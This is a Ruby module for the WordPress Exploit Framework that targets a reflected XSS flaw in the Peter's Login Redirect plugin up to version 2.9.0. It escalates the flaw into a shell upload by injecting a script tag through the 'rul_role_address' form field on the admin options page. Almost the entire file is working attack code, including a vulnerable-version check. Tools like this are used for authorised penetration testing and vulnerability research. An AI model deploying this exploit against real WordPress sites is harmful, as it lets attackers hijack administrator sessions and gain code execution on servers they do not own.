# frozen_string_literal: true

class Wpxf::Exploit::PetersLoginRedirectReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Peter\'s Login Redirect <= 2.9.0 Reflected XSS Shell Upload',
      author: [
        'Yorick Koster', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8602'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_cross_site_request_forgery_in_peter_s_login_redirect_wordpress_plugin.html']
      ],
      date: 'Aug 15 2016'
    )

    register_options([
      StringOption.new(
        name: 'user_role',
        desc: 'The user role to store the script against',
        default: 'Administrator',
        required: true
      )
    ])
  end

  def check
    check_plugin_version_from_changelog('peters-login-redirect', 'readme.txt', '2.9.1')
  end

  def user_role
    datastore['user_role'].downcase
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'options-general.php?page=wplogin_redirect.php')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'rul_role' => user_role,
      'rul_role_address' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
      'rul_role_logout' => '',
      'rul_role_submit' => 'Add role rule'
    )
  end
end
